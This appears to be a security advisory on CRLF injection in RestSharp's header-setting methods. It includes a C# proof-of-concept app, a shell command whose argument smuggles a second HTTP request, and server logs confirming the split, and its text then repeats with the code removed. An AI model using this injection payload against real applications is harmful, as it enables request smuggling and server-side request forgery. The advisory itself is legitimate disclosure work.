Summary
The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.
This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:
using RestSharp;
class Program
{
static async Task Main(string[] args)
{
// Usage: dotnet run <api key>
var key = args[0];
var options = new RestClientOptions("http://insert.some.site.here");
var client = new RestClient(options);
var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
var response = await client.ExecuteAsync(request);
Console.WriteLine($"Status: {response.StatusCode}");
Console.WriteLine($"Response: {response.Content}");
}
}This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"
Impact
If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.
References
sofiaml Reporter
Static-Flow Reporter
Summary
The second argument to
RestRequest.AddHeader(the header value) is vulnerable to CRLF injection. The same applies toRestRequest.AddOrUpdateHeaderandRestClient.AddDefaultHeader.Details
The way HTTP headers are added to a request is via the
HttpHeaders.TryAddWithoutValidationmethod: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.This means that any headers from a
RestSharp.RequestHeadersobject are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.PoC
The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
The application intends to send a single request of the form:
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
and
This can be confirmed by checking the access logs on the server where these commands were run (with
insert.some.site.herepointing to localhost):Impact
If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.
References